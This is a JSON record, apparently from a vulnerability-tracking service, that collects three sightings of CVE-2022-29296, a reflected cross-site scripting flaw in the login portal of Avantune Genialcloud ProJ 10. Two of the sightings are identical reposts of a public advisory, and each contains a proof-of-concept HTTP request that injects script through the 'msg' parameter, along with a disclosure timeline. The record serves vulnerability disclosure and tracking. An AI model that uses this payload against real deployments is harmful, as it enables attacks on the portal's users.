{"vulnerability": "cve-2022-29296", "sightings": [{"uuid": "cde07a53-1fd9-4ec7-9255-8045160e809f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-29296", "type": "seen", "source": "https://t.me/cibsecurity/43903", "content": "\u203c CVE-2022-29296 \u203c\n\nA reflected cross-site scripting (XSS) vulnerability in the login portal of Avantune Genialcloud ProJ - 10 allows attackers to execute arbitrary web scripts or HTML via a crafted payload.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-06-07T02:42:42.000000Z"}, {"uuid": "f3ead141-bcd5-4a3b-a0c8-09faa64f3bf6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-29296", "type": "seen", "source": "https://t.me/hacking_Attack/55797", "content": "Exploit Collector\nAvantune Genialcloud ProJ 10 Cross Site Scripting\n\nhttps://4.bp.blogspot.com/-VWb4EvQ6bEo/WWlvWDArLMI/AAAAAAAAIOE/2pUCVP0uaRIPq11CtWtknt0n-yL_qFw9wCLcBGAs/s1600/h48.png \nAvantune Genialcloud ProJ version 10 suffers from a cross site scripting vulnerability.\n\nSHA-256 | 7a0d3b9dfd4b8e8ad8e6da668090859f7b1f76c4079023524c8bc929d6e1982f\n\nDownload\n# Exploit Title: Avantune Genialcloud ProJ 10 - Reflected XSS (Cross-Site Scripting)\n# Date: 2022-06-01\n# Exploit Author: Andrea Intilangelo\n# Vendor Homepage: https://www.avantune.com\n# Software Link: https://www.genialcloud.com - https://www.genialcloud.com/discover-genialcloud-proj - https://store.genialcloud.com\n# Version: 10\n# Tested on: Latest Version of Desktop Web Browsers (ATTOW: Firefox 100.0, Microsoft Edge 101.0.1210.39)\n# CVE: CVE-2022-29296\nReflected Cross-Site Scripting (XSS) vulnerability in login-portal webpage of Genialcloud ProJ (and potentially in other platforms from the\nsame software house \"Avantune\" since codebase seems shared with their other products: Facsys and Analysis) allows remote attacker to inject\nand execute arbitrary web scripts or HTML via a crafted payload.\n\nRequest parameters affected is \"msg\".\n\nPoC Request:\nGET /eportal/?nologon=1&msg=Invalid%20username%20or%20password%27%3Balert%28%22y0%21+XSS+here+%3A%29%22%29%2F%2F HTTP/1.1\nHost: [REDACTED]\nCookie: ASP.NET_SessionId=3recnmmlpo1glzzyejdoezk2\nUpgrade-Insecure-Requests: 1\nAccept-Encoding: gzip, deflate\nAccept: */*\nAccept-Language: en-US,en-GB;q=0.9,en;q=0.8\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36\nConnection: close\nCache-Control: max-age=0\n\nPoC Response:\nHTTP/1.1 200 OK\nCache-Control: private\nContent-Type: text/html; charset=utf-8\nServer: Microsoft-IIS/10.0\nX-AspNet-Version: 4.0.30319\nX-Powered-By: ASP.NET\nDate: Wed, 11 May 2022 10:51:10 GMT\nConnection: close\nContent-Length: 8162\n...[SNIP]...\n\n...[SNIP]...\nTimeline:\n\n2022-01-05: Vulnerability discovered.\n2022-01-06: Vendor contacted.\n2022-02-07: No reply, vendor contacted for 2nd time.\n2022-02-10: Request for CVE reservation.\n2022-04-16: Assigned CVE number CVE-2022-29296.\n2022-05-07: No reply, vendor contacted for 3rd time.\n2022-06-01: Public disclosure.\nPoC Screenshots:\n\nhttps://imagebin.ca/v/6j86ekMqKZD8\nhttps://postimg.cc/XXv6YbK9\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:01:37.494697Z"}, {"uuid": "22f84388-967e-470e-9f3f-db0b78c612fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-29296", "type": "seen", "source": "https://t.me/hacking_Attack/55797", "content": "Exploit Collector\nAvantune Genialcloud ProJ 10 Cross Site Scripting\n\nhttps://4.bp.blogspot.com/-VWb4EvQ6bEo/WWlvWDArLMI/AAAAAAAAIOE/2pUCVP0uaRIPq11CtWtknt0n-yL_qFw9wCLcBGAs/s1600/h48.png \nAvantune Genialcloud ProJ version 10 suffers from a cross site scripting vulnerability.\n\nSHA-256 | 7a0d3b9dfd4b8e8ad8e6da668090859f7b1f76c4079023524c8bc929d6e1982f\n\nDownload\n# Exploit Title: Avantune Genialcloud ProJ 10 - Reflected XSS (Cross-Site Scripting)\n# Date: 2022-06-01\n# Exploit Author: Andrea Intilangelo\n# Vendor Homepage: https://www.avantune.com\n# Software Link: https://www.genialcloud.com - https://www.genialcloud.com/discover-genialcloud-proj - https://store.genialcloud.com\n# Version: 10\n# Tested on: Latest Version of Desktop Web Browsers (ATTOW: Firefox 100.0, Microsoft Edge 101.0.1210.39)\n# CVE: CVE-2022-29296\nReflected Cross-Site Scripting (XSS) vulnerability in login-portal webpage of Genialcloud ProJ (and potentially in other platforms from the\nsame software house \"Avantune\" since codebase seems shared with their other products: Facsys and Analysis) allows remote attacker to inject\nand execute arbitrary web scripts or HTML via a crafted payload.\n\nRequest parameters affected is \"msg\".\n\nPoC Request:\nGET /eportal/?nologon=1&msg=Invalid%20username%20or%20password%27%3Balert%28%22y0%21+XSS+here+%3A%29%22%29%2F%2F HTTP/1.1\nHost: [REDACTED]\nCookie: ASP.NET_SessionId=3recnmmlpo1glzzyejdoezk2\nUpgrade-Insecure-Requests: 1\nAccept-Encoding: gzip, deflate\nAccept: */*\nAccept-Language: en-US,en-GB;q=0.9,en;q=0.8\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36\nConnection: close\nCache-Control: max-age=0\n\nPoC Response:\nHTTP/1.1 200 OK\nCache-Control: private\nContent-Type: text/html; charset=utf-8\nServer: Microsoft-IIS/10.0\nX-AspNet-Version: 4.0.30319\nX-Powered-By: ASP.NET\nDate: Wed, 11 May 2022 10:51:10 GMT\nConnection: close\nContent-Length: 8162\n...[SNIP]...\n\n...[SNIP]...\nTimeline:\n\n2022-01-05: Vulnerability discovered.\n2022-01-06: Vendor contacted.\n2022-02-07: No reply, vendor contacted for 2nd time.\n2022-02-10: Request for CVE reservation.\n2022-04-16: Assigned CVE number CVE-2022-29296.\n2022-05-07: No reply, vendor contacted for 3rd time.\n2022-06-01: Public disclosure.\nPoC Screenshots:\n\nhttps://imagebin.ca/v/6j86ekMqKZD8\nhttps://postimg.cc/XXv6YbK9\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:01:48.004058Z"}]}